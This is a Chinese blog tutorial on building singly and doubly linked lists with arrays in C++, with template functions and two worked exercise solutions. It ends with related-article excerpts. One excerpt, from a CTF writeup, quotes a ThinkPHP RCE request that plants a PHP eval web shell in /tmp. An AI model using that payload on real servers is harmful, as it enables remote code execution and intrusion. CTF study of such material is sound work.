数据结构(一)——链表

news2024/11/19 4:32:03

链表与邻接表

介绍

链表作为一种基础数据结构,具有几个特点:

  • 优点:插入、删除非常快(需要知道需要插入和删除节点前一个位置)
  • 缺点:查询、访问(用索引)非常的慢

链表的创建方法一般有如下几种:

  • 动态链表:结构体+指针(不适合做题用,容易因new Node();超时

    struct Node
    {
    	int val;
        Node *next;
    }; 
    
    new Node(); // 非常慢
    

    这种实现方式,每次创建新建节点,都需要调用一次new函数,但是这个新建过程非常慢,在笔试题中链表长度一般是1e5或者是1e6,new完这些节点基本上就直接超时了。

  • 静态链表:用两个数组表示valnext,用于模拟链表

    • 数组模拟单链表在算法题和笔试里常用于构建邻接表(存储图和树),邻接表即多个单链表
    • 数组模拟双链表用于优化某些问题

核心思想:

接下来介绍静态链表的实现。

单链表:用两个数组来表示链表,结点的位置用下标来代替,这里需要注意,下标是指插入的次序,也就是说最后的链表从头至尾节点下标是保序的但并非是等差的e[N]表示N个节点的val值,ne[N]表示N个节点的next节点的下标。另外还需要定义一个head整形变量用于保存第一个结点的下标。

这里实现四个需求,四个函数

  1. 初始化;init();
  2. 向链表头插入一个数;head_insert(int x);
  3. 删除第 k 个插入的数后面的数;remove(int k);
  4. 在第 k 个插入的数后插入一个数。add(int k, int x);

多链表:和单链表不同的地方在于,每一个节点不仅有指向后一个结点的指针,还有指向前一个结点的指针。因此这里需要多定义一个数组l[N]代表每个结点指向的上一个结点,另外链表的初始化需要直接占用两个结点,分别是首元结点和尾结点。

这里实现六个需求,两个函数

  1. 初始化;init()
  2. 在最左侧插入一个数;add(0, x)
  3. 在最右侧插入一个数;add(l[1], x)
  4. 将第 k 个插入的数删除;remove(int k);
  5. 在第 k 个插入的数左侧插入一个数;add(int k, int x);
  6. 在第 k 个插入的数右侧插入一个数;add(int l[k], int x)

这里需要注意,一个插入函数可以通过改变传入参数满足4和5两个需求

模板代码:

单链表:

// 单链表:
int head, e[N], ne[N], idx;


// 初始化
void init()
{
    head = -1; // -1代表None
    idx = 0;
}
// init();


// 头插
void head_insert(int x)
{
    ne[idx] = head; // 新节点指向头头指针指向结点
    head = idx; // 头指针指向新节点
    e[idx] = x; // 新节点赋值
    idx++; // idx后移到下一个未使用的节点
}
// head_insert(x);


// 在第k个插入结点的后面添加val=x的结点
void add(int k, int x)
{
    e[idx] = x;
    ne[idx] = ne[k];
    ne[k] = idx;
    idx++;
}
// add(k-1, x);


// 删除第k个插入的结点
void remove(int k)
{
    ne[k] = ne[ne[k]];
}
// if (!k) head = ne[head];
// else remove(k - 1);

多链表 :

// 多链表:
int e[N], l[N], r[N], idx;


// 初始化
void init()
{ 
	r[0] = 1, l[1] = 0;
    idx = 2; // 0和1已经被占用
}


// 在第k个插入的结点后插入val = x的结点
void add(int k, int x)
{
	e[idx] = x;
    r[idx] = r[k];
    l[idx] = k;
    l[r[k]] = idx;
    r[k] = idx;
    idx++;
}
// add(0, x); // 头插
// add(l[1], x); // 尾插
// add(k, x); // 在第k个结点的右侧插入结点
// add(l[k], x); // 在第k个结点的左侧插入结点


// 删除第k个插入的结点
void remove(int k)
{
    r[l[k]] = r[k];
    l[r[k]] = l[k];
}
// remove(k);

例题1:单链表

image-20230108214022765

代码:

#include<iostream>
using namespace std;

const int N = 1e5 + 10;

int head, e[N], ne[N], idx;

void init()
{
    head = -1;
    idx = 0;
}

void head_insert(int x)
{
    ne[idx] = head; // 新节点指向头头指针指向结点
    head = idx; // 头指针指向新节点
    e[idx] = x; // 新节点赋值
    idx++; // idx后移到下一个未使用的节点
}

void add(int k, int x)
{
    e[idx] = x;
    ne[idx] = ne[k];
    ne[k] = idx;
    idx++;
}

void k_delete(int k)
{
    ne[k] = ne[ne[k]];
}

int main()
{
    int m;
    cin >> m;
    init();
    
    while(m -- )
    {
        char c;
        int k, x;
        cin >> c;
        
        if(c == 'H')
        {
            cin >> x;
            head_insert(x);
        }
        if(c == 'D')
        {
            cin >> k;
            if(k) k_delete(k-1);
            else head = ne[head];
        }
        if(c == 'I')
        {
            cin >> k >> x;
            add(k-1, x);
        }
    }
    
    for(int i = head; i != -1; i = ne[i]) cout << e[i] << ' ';
    cout << endl;
    
    return 0;
}

例题2:双链表

image-20230109003222594

代码:

#include<iostream>
using namespace std;
 
const int N = 1e5 + 10;

int l[N], r[N], idx, e[N];

void init()
{
    r[0] = 1, l[1] = 0;
    idx = 2;
}

void add(int k, int x)
{
    e[idx] = x;
    l[idx] = k;
    r[idx] = r[k];
    l[r[k]] = idx;
    r[k] = idx;
    idx++;
}

void remove(int k)
{
    r[l[k]] = r[k];
    l[r[k]] = l[k];
}

int main()
{
    init();
    int m; cin >> m;
    string op;
    int k, x;
    
    while( m -- )
    {
        cin >> op;
        if(op == "L")
        {
            cin >> x;
            add(0, x);
        }
        else if(op == "R")
        {
            cin >> x;
            add(l[1], x);
        }
        else if(op == "D")
        {
            cin >> k;
            remove(k+1);
        }
        else if(op == "IL")
        {
            
            cin >> k >> x;
            add(l[k+1], x);
        }
        else
        {
            cin >> k >> x;
            add(k+1, x);
        }
        
    }
    
    for(int i=r[0]; i!=1; i=r[i]) cout << e[i] << " ";
    cout << endl;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/149148.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Selenium用法详解【cookies操作】【JAVA爬虫】

简介本文主要讲解java代码利用Selenium控制浏览器获取网站的cookies,对网站cookies的相关操作教程。cookies操作cookies 是识别用户登录与否的关键&#xff0c;爬虫中常常使用 selenium jsoup 实现 cookie持久化&#xff0c;即先用 selenium 模拟登陆获取 cookie &#xff0c;…

你可能从未想过的:人工智能未来50年的安全领域问题

前言 随着人工智能技术的普及和发展&#xff0c;很多人工智能出现的故障和问题也会愈发明显。本文简单讲述了未来50年人工智能发展过程中可能会出现的景象和问题。 一、人工智能独立 尽管很可能第一批人工智能是由人类发明制作的&#xff0c;但随着大量基础设施的完善&#x…

javaweb-会话技术CookieSession

文章目录会话技术Cookie&Session1&#xff0c;会话跟踪技术的概述2&#xff0c;Cookie2.1 Cookie的基本使用2.2 Cookie的原理分析2.3 Cookie的使用细节2.3.1 Cookie的存活时间2.3.2 Cookie存储中文3&#xff0c;Session3.1 Session的基本使用3.2 Session的原理分析3.3 Sess…

4.8、网际控制报文协议 ICMP

为了更有效地转发 IP 数据报和提高交付成功的机会 在网际层使用了网际控制报文协议 ICMP(Internet Control Message Protocol)。 主机或路由器使用 ICMP 来发送 差错报告报文\color{red}差错报告报文差错报告报文和询问报文\color{red}询问报文询问报文。 ICMP报文被封装在IP…

基于采样的规划算法之动态窗口法(DWA)

动态规划将一个多步决策问题拆分成若干子问题,并且保证子问题的最优解能推出完整问题的最优解。所以,动态规划可以得到采样空间下的最优路径解。本章介绍的动态窗口法(Dynamic Window Approach, DWA)与动态规划类似,也是将从起点到终点的多步决策问题拆分成一系列子问题—…

Linux应用编程---1.线程与进程

Linux应用编程—1.线程与进程 1 重要概念 1.1 程序 ​ 程序指的是还没有运行起来的源代码&#xff0c;比如电脑上安装的“Keil MDK”、“Xshell”等等。 1.2 进程 ​ Win10环境下&#xff0c;打开任务管理器&#xff0c;能看到有“进程”一栏&#xff0c;点击进去能看到5个…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

QT-5.12: QSqlDatabase: QMYSQL driver not loaded 错误及解决方案

错误现象及原因&#xff1a; &#xff08;1&#xff09;qt SQL模块已默认不编译mysql驱动&#xff0c;导致mysql驱动缺失&#xff0c;错误提示如下&#xff08;可用数数据库驱动不含mysql驱动&#xff0c;执行方法一和二&#xff09;&#xff1b; &#xff08;2&#xff09;已…

C++新基础类型long long, char8_t, char16_t, char32_t

C新基础类型long long, char8_t, char16_t, char32_t一、整数类型 long long二、新字符类型 char16_t 和 char32_t三、char8_t 字符类型一、整数类型 long long 我们知道long通常表示一个32位整型&#xff0c;而long long则是用来表示一个64位的整型。 C标准中定义&#xff0…

vue3包依赖关系

包reactivity &#xff1a;响应式API&#xff0c;例如toRef、reactive、Effect、computed、watch等&#xff0c;可作为与框架无关的包&#xff0c;独立构建runtime-core&#xff1a;平台无关的运行时核心代码。包括虚拟dom渲染、组件实现和JavaScript API。可以使用这个包针对特…

机器学习实战教程(十一):线性回归基础篇

一、前言前面的文章介绍了很多分类算法&#xff0c;分类的目标变量是标称型数据&#xff0c;而本文将会对连续型的数据做出预测。主要讲解简单的线性回归和局部加权线性回归&#xff0c;并通过预测鲍鱼年龄的实例进行实战演练。二、什么是回归&#xff1f;回归的目的是预测数值…

Java学习笔记——继承(下)

目录继承中构造方法的访问特点构造方法的访问特点-父类没有空参构造方法代码优化和内存图解xx信息管理系统-集成改进抽象类入门抽象类的注意事项模板设计模式final关键字xx信息管理系统——抽象类改进代码块xx信息管理系统-代码块改进继承中构造方法的访问特点 子类再初始化之…

汽车电子行业入门指南「2022年国内主要新能源车销量」

汽车电子行业入门指南 雪云飞星 2022年国内主要新能源车销量 2022年汽车行业内的人们可谓是经历了很多&#xff1a;4月上海疫情、华为携问界的强势入局、年底取消新能源免购置税等等。对于博主而言也算人生一个小阶段&#xff0c;年底离开了曾经奋斗的某为&#xff0c;翻开了…

序列傅里叶变换

序列傅里叶变换定义 序列傅里叶变换 (DFT) 是一种数学变换&#xff0c;它将一个有限长度的序列转换为其频谱表示。它使用一个复数数组表示序列的频谱&#xff0c;其中每个元素表示对应的频率成分的幅度和相位。 DFT 的公式为&#xff1a; X[k] ∑n0 to N-1 x[n] * e^(-j2πkn/…

Unreal UCLASS常用的类标记宏

BlueprintType,使当前类可以作为蓝图中的类型使用。新建一个继承UObject的C类CustomObject:UObject默认是无法作为蓝图中的类型使用的,打开关卡蓝图,声明一个CustomObject变量:可以看到,这里无法声明CustomObject类型的变量,我们为CustomObject添加BlueprintType标记宏:这样我们…

我的2022,为什么要跳出舒适圈?

1前言今天的冬日暖阳高照&#xff0c;给我羽绒服下的肉身火一般的燥热&#xff0c;给了我一个错觉&#xff0c;以为到了阳春三月。刚刚送完老妈还有老婆孩子回老家&#xff0c;我坐到电脑机器前&#xff0c;准备捋一下思绪&#xff0c;回首2022的生活和工作。 2 2022 回顾今年用…

从零开始搭建Dubbo环境并整合Dubbo+SpringBoot

Windows环境搭建 1. 安装Zookeeper 下载 zookeeper3.5 下载地址 https://zookeeper.apache.org/releases.html#download 下载完成以后, 解压到一个目录下 然后把 zoo_sample.cfg 复制一份, 重命名为 zoo.cfg 修改配置文件 zoo.cfg 中的 dataDir 这个配置 修改为 dataDir../z…

pygame - 图片移动优化 - 引入面向对象思想

目录 一、基本框架 二、代码段 1、附注释 2、无注释 三、效果展示 备注&#xff1a;pygame - 图片移动优化中未对属性和方法进行封装&#xff0c;本篇文章将引入面向对象思想 一、基本框架 import sys import time import pygamepygame.init()SCREEN_WIDTH 680 SCREEN…

基于机器学习预测销售门店的商品销量详细教程

项目概述: 使用时间序列预测来预测来Corporacin Favorita 的数据的商店销售额。 具体来说,构建一个模型来更准确地预测在不同 Favorita 商店销售的数千种商品的单位销售额。您将使用包含日期、商店和商品信息、促销和单位销售的易于理解的训练数据集来练习您的机器学习技能。…

【debug日记】安装包后还是有下划线可以运行、gensim包的安装及版本不同引起的参数不匹配问题

文章目录gensim包版本不同引起的参数不匹配问题安装gensim包后还是有下划线可以运行gensim包的安装问题今天的debug历程可谓一步一个坑。首先我去github上下载了一个项目&#xff0c;关于graph embedding https://github.com/shenweichen/GraphEmbedding 我下载下来直接运行&a…